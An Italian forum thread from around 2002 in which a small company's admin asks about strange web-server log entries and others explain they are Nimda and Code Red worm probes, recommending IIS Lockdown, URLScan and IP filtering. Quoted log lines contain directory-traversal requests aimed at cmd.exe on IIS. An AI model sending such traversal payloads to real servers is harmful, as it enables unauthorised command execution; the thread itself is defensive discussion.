/msadc/..üĪĪĪĪŊ../..üĪĪĪĪŊ../..üĪĪĪĪŊ../winnt/system32/cmd.exe 
/c+dir+c:\ 404 -


Una macchina infettata da Nimda *fa queste cose in automatico* , e' proprio
cosi' che funza :-)
Danny

 /c+dir+c:\ 404 -

più che ghost in realta il termine corretto è "stealth".
quello che dici è giusto possono essere dietro un FW e non rispondere
nemmeno al ping, ma questo significa che diventa sensibilmente meno
probabile che siano state infettate da un worm casualmente, ma che qualcuno
abbia degli obbiettivi specifici (i server del nostro amico).
Inoltre il fatto che sia così "distribuito" (Germania ed Emirati arabi) fa
pensare a qualcosa di mirato appunto.
Per curiosità Phantom che cosa fa la vostra società (se puoi dircelo...)?
Ciao

 pensare a qualcosa di mirato appunto.
piu' che un attacco mirato, e' un attacco E-mirato ;-)
puo' anche darsi invece che queste macchine fossero senza firewall,
e che solo in seguito siano state piazzate dietro il firewall, anzi,
ti diro', ho visto con i miei occhi server IIS abbandonati a se stessi
perche'
ospitavano siti "in construzione" da anni... madooo, che gente :-)
Cmq, l'attacco proviene anche da server di Deutsche Telekom, io non credo
che sia mirato, credo invece che vi siano in giro amministratori di rete
poco
" accuort " :-)
Danny

Scusa mi reo perso sulle macchine dell'Emiro :-)
Ma se sei cosě aggiornato sostanzialmente non rischi nulla se non un po di
banda intasata.
Per il resto cerca di far funzionare L'IDS (io purtroppo non conosco quell
Firewall) che ti evita anche ste spaccature di Co*****.
Ciao

Vuoi / volete dire che sono virus che cercano di infettarmi il server 
Web ???

Sul server (che tra l'altro è stato messo on line Giovedì) gira un 
software per la gestione degli ordini on-line con accesso riservato ai 
ns. agenti e clienti.
La società opera nel settore della riabilitazione (ausili per disabili) .

Ragazzi siete stati molto gentili, oraho le idee più chiare.
Frugando sul sito microsoft ho scaricato
IIS Lockdown Tool che dovrebbe aver "blindato" il server:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/securi
ty/tools/tools/w2knew.asp
Mi ha inoltre inserito URL Scan ... figata per la quale nel log di 
questa mattina c'era:
2002-10-08 06:41:53 212.25.102.30 - 192.168.7.12 80 GET 
/<Rejected-By-UrlScan> ~/scripts/..%255c%255c../winnt/system32/cmd.exe 
404 -
:-)
Ho passato l'antivirus (McAfee aggiornatissimo) e non mi ha trovato 
nulla ... posso dormire tranquillo ???

 Web ???
Si esatto sono i famosi Worm, ma con le mutande de ferro che hai messo vai
col c**o parato.
(per ora!!)
Ciao

 richieste a destra e a manca.
Io è più di un anno che registro un IP della subnet Interbusiness su HDSL
che
mi manda ogni 3 minuti una raffica di exploit Code-Red/Nimda
Ultimamente si è evoluto e manda anche exploit per Apache.
Saluti.

:-)

 Io è più di un anno che registro un IP della subnet Interbusiness su HDSL
E non puoi filtrare l'IP in questione dal router?
Sennò recluta un po' di gente e fai a picchiare brutalmente 
l'amministratore del server che cerca di infettarti :-) .... io vengo a 
darti una mano !!!